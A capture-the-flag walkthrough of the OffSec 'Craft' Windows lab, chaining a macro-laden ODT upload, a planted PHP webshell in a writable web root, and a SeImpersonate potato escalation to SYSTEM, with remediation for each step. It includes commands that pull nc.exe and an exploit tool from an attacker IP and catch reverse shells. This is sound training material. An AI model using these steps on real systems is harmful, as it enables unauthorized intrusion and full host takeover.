OSCP Prep #27

Craft — Proving Grounds Practice Walkthrough
Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Intermediate Category: Standalone (Windows — Web Upload to SYSTEM)
Introduction
Craft is a Windows standalone box on OffSec's Proving Grounds Practice. On the surface it's a single open port and a static template website, but the path to SYSTEM chains three distinct misconfigurations, and each one taught me something worth writing down: a file-upload filter that only looks restrictive, a web root the wrong account can write to, and a service token privilege that hands you the box.
What makes Craft worth a full writeup isn't any single CVE, there isn't one. It's the methodology. Two moments on this box were genuine learning points for me. The first was recognizing that an "only ODT allowed" upload is still an execution vector when the server opens the document for you. The second, and the more important one, was the lateral pivot: I'd fallen into the habit of hunting for credentials, services, and vulnerable binaries every time I need to move between accounts, and I completely overlooked the simplest primitive in the book — if you can write to a directory that executes code, you write your own shell there and run it as whoever owns that process. I've given that its own section, because it's the reflex I most want to keep.
This writeup follows the whole chain from an empty terminal to proof.txt, and I've tried to explain the reasoning at each decision point rather than just listing what worked.
High-Level Summary
Craft was assessed as a single Windows host exposing only a web server on port 80. The site included a file-upload feature restricted to OpenDocument Text (.odt) files, which the server opened and processed with LibreOffice. Because document macros were permitted, a crafted .odt produced code execution as the low-privileged craft\thecybergeek account.
From that foothold, the thecybergeek account was found to have write access to the XAMPP web root — a directory that Apache serves and executes as PHP. Placing a command-execution script there and requesting it over HTTP produced a second, parallel execution context as the craft\apache service account.
That service account held SeImpersonatePrivilege, which was abused with a token-impersonation ("potato") technique to escalate directly to NT AUTHORITY\SYSTEM, yielding full compromise of the host and both the user and root flags.
Compromise path: ODT upload → macro RCE (thecybergeek) → writable web root → RCE (apache) → SeImpersonate → SYSTEM.
Methodologies
Information Gathering
The scope was a single host, 192.168.212.169. The objective was to obtain the user (local.txt) and root (proof.txt) flags.
Service Enumeration
The service enumeration phase focuses on identifying live services and understanding the attack surface before touching it.
My default first scan is nmap -sCV -p-, but on Craft that scan stalled during host discovery — the box was silently dropping ICMP/host-discovery probes and nmap concluded the host was down before it ever reached the port-scan phase. The fix is to skip host discovery entirely with -Pn and use a raw SYN sweep. This is worth internalizing as a default reflex over the OffSec VPN: if a box the portal shows as "up" reports "host seems down," add -Pn — you are not looking at a dead host, you are looking at dropped discovery probes.
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ sudo nmap -Pn -n -sS -p- -vv --min-rate 2000 --max-retries 2 192.168.212.169
...
Discovered open port 80/tcp on 192.168.212.169
...
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 125
Nmap done: 1 IP address (1 host up) scanned in 65.85 seconds
A single open port (80/tcp), and a TTL of 125 pointing at a Windows target.
Port scan results
| IP Address | Ports Open |
|---|---|
| 192.168.212.169 | TCP: 80 |
With only HTTP exposed, I moved to content discovery with ffuf, filtering out 403 responses:
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ ffuf -u http://192.168.212.169/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
...
assets [Status: 301, ...]
css [Status: 301, ...]
js [Status: 301, ...]
uploads [Status: 301, ...]
uploads/ [Status: 200, ...]
index.php [Status: 200, ...]
upload.php [Status: 200, ...]
The site itself is a static "CRAFT" landing-page template. The interesting results are uploads/ (a browsable directory) and upload.php (an upload form) — a classic upload-to-execution setup worth prioritizing.
Penetration
The penetration phase focuses on gaining and elevating access. Craft was fully compromised through the three findings documented below.
Maintaining Access
Access was maintained via interactive reverse shells caught on a local listener. In an authorized engagement this phase would also cover establishing a durable backdoor; for this lab, no persistence beyond the working shells was required.
House Cleaning
Artifacts staged during testing (neo.php in the web root, nc.exe and sp.exe in C:\ProgramData, and the uploaded document) would be removed at the end of a real engagement so no tooling or scripts are left behind on the target.
Target — Craft (192.168.212.169)
Finding 1 — Initial Access: Unrestricted Document Upload Leads to Macro Code Execution
Vulnerability Explanation: The upload.php endpoint accepts OpenDocument Text (.odt) files and processes them server-side with LibreOffice. Although the upload filter rejects other file types (including PHP), the application opens the submitted document, and macro execution is not disabled in the office environment. A document configured to run a macro on load therefore results in arbitrary command execution in the context of the account running the office process — craft\thecybergeek. The restrictive-looking "ODT only" filter provides no protection because the danger is in the server opening the document at all, not in the file extension.
Vulnerability Fix: Do not open or render uploaded documents server-side. If document processing is required, run the office suite with macro security set to its highest level (macros disabled), process files in an isolated sandbox with no outbound network access, and run the handling service under a least-privileged account. Store uploads outside any path that is opened, executed, or served.
Severity: Critical
Steps to reproduce the attack:
Browsing to upload.php shows a form that rejects anything other than an ODT file:
File is not valid. Please submit ODT file
My first instinct was to upload a PHP webshell directly; the extension filter blocked it and I found no filter bypass. The pivot in thinking was noticing that the application's whole purpose is to read the submitted document — which means the ODT is being opened by an office process on the server. An OpenDocument file that carries a macro set to execute on open is therefore an execution vector, not just a data file.
I prepared a macro-enabled ODT configured to trigger a reverse connection when the document is opened, uploaded it through the form, and caught the resulting shell on a waiting listener:
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50423
whoami
craft\thecybergeek
(Report-level note: I'm intentionally documenting this step at the vector level — the upload accepts ODT, the server opens it, and an auto-executing macro yields a shell — rather than reproducing the malicious macro's source. The finding, impact, and remediation are what matter for the report.)
The shell landed in C:\Program Files\LibreOffice\program, confirming the document was opened by LibreOffice running as thecybergeek. Basic enumeration of the account:
PS C:\Program Files\LibreOffice\program> whoami /all
USER INFORMATION
----------------
User Name SID
================== ============================================
craft\thecybergeek S-1-5-21-537427935-490066102-1511301751-1001
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
thecybergeek holds no immediately abusable privileges, cmdkey /list showed no stored credentials, and Winlogon carried no autologon secrets — so this account is a foothold, not a finish line.
User flag (local.txt) — retrieved from the thecybergeek desktop:
C:\Users\thecybergeek\Desktop>type local.txt
9a7954e7770e49ad554f54ded0fa8eaa
Finding 2 — Lateral Movement: World-Writable Web Root Leads to Command Execution as apache
Vulnerability Explanation: The craft\thecybergeek account has write access to the XAMPP web root, C:\xampp\htdocs. That directory is served by Apache with PHP execution enabled. Any account able to write into a directory that executes server-side script can obtain command execution as the account that runs the web server — here, craft\apache — simply by writing a script into the web root and requesting it over HTTP. No credentials, vulnerable service, or exploitable binary is required; write access plus an executing path is the entire primitive.
Vulnerability Fix: Apply least-privilege ACLs to the web root so that interactive and service accounts cannot write to content that Apache executes. Serve static content from a location that is not writable by application/service users, and keep any writable upload directory outside the script-executing path (and ideally configured to not execute scripts at all).
Severity: High
Steps to reproduce the attack:
From the thecybergeek shell, I confirmed I could write into C:\xampp\htdocs by dropping a test file and listing the directory:
PS C:\xampp\htdocs> echo 'test' > neo.txt
PS C:\xampp\htdocs> gci
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:18 AM assets
d----- 7/13/2021 3:18 AM css
d----- 7/13/2021 3:18 AM js
d----- 7/19/2026 5:09 PM uploads
-a---- 7/7/2021 10:53 AM 9635 index.php
-a---- 7/19/2026 5:22 PM 14 neo.txt
-a---- 7/7/2021 9:56 AM 835 upload.php
The write succeeded. I then placed a small PHP command-execution script into the web root (staged from my Kali box over HTTP) — a script that takes a command from a query-string parameter and runs it — and requested it in the browser, which executed the command as the Apache service account:
http://192.168.212.169/neo.php?cmd=whoami
craft\apache
Upgrading to an interactive shell
and enumerating the apache context revealed the actual escalation opportunity:
PS C:\xampp\htdocs> whoami /all
USER INFORMATION
----------------
User Name SID
============ ============================================
craft\apache S-1-5-21-537427935-490066102-1511301751-1000
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
The apache account holds SeImpersonatePrivilege — the key to SYSTEM.
Methodology callout — the primitive I keep forgetting
This pivot is the lesson of the box, so it gets its own box. I spent longer than I should have here because my instinct on a new account is always the same loop: hunt for stored credentials, look for misconfigured services, check for vulnerable binaries, scan for interesting files. All of that skipped past the simplest fact in front of me —
thecybergeekcould write to a directory that Apache executes.When you can write to any path that runs code — a web root with PHP, a scheduled-task script directory, a cron path, a startup folder — you don't need to find an execution primitive. You are the execution primitive. You write your own payload there and let the owning process run it, and you inherit that process's identity.
Reflex to keep: on every new foothold, before enumerating creds and services, ask one question first — what can this account write to that something else will execute? If the answer is "a code-executing path owned by a more useful account," that's often the shortest line to the next identity.
Finding 3 — Privilege Escalation: SeImpersonatePrivilege Leads to SYSTEM
Vulnerability Explanation: The craft\apache service account holds SeImpersonatePrivilege. This privilege permits a process to impersonate the security tokens of clients that connect to it. A well-known class of "potato" techniques abuses this by coercing a privileged service to authenticate to an attacker-controlled endpoint, capturing and impersonating the resulting NT AUTHORITY\SYSTEM token, and using it to spawn a process as SYSTEM. Any account running with this privilege on an affected Windows build can therefore escalate to full system control.
Vulnerability Fix: Do not grant SeImpersonatePrivilege to service accounts that do not strictly require it, and run web/application services under the most restrictive account possible. Keep the OS current with security updates, since the specific coercion vectors these tools rely on are addressed over time by patching.
Severity: Critical
Steps to reproduce the attack:
From my Kali box I staged a static netcat binary and a token-impersonation tool (SigmaPotato) using a temporary Python HTTP server, then pulled them onto the target into a writable, non-privileged-blocked directory (C:\ProgramData):
On Kali:
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
On the target:
PS C:\> cd ProgramData
PS C:\ProgramData> curl http://192.168.45.245/nc.exe -o nc.exe
PS C:\ProgramData> curl http://192.168.45.245/sp.exe -o sp.exe
I then executed the impersonation tool, instructing it to launch the netcat binary as a reverse shell back to my listener. The tool coerced a SYSTEM token and created the process under it:
The reverse shell arrived on my listener as SYSTEM:
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50603
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Post-Exploitation
With a SYSTEM shell, I retrieved the root flag from the Administrator desktop:
C:\Users\Administrator\Desktop>type proof.txt
4b0acac6964c70653c2a1e2b92d06299
Proof Summary
| Flag | Location | Value |
|---|---|---|
local.txt (user) |
C:\Users\thecybergeek\Desktop |
9a7954e7770e49ad554f54ded0fa8eaa |
proof.txt (root) |
C:\Users\Administrator\Desktop |
4b0acac6964c70653c2a1e2b92d06299 |
Takeaways
Craft is a clean lesson in chaining unglamorous misconfigurations. Three reflexes I'm keeping from it:
"Host seems down" over the VPN means
-Pn, not a dead box. Blocked discovery probes stop nmap before the port scan; skip discovery and SYN-sweep.A restrictive-looking upload filter can still be an execution vector if the server opens the file it accepts. "ODT only" is not safe when the server renders the ODT.
Write access to a code-executing path is an execution primitive. Before hunting creds, services, and binaries on a new account, ask what that account can write that something more privileged will run. It's frequently the shortest path to the next identity — and it's the one I most needed to relearn.





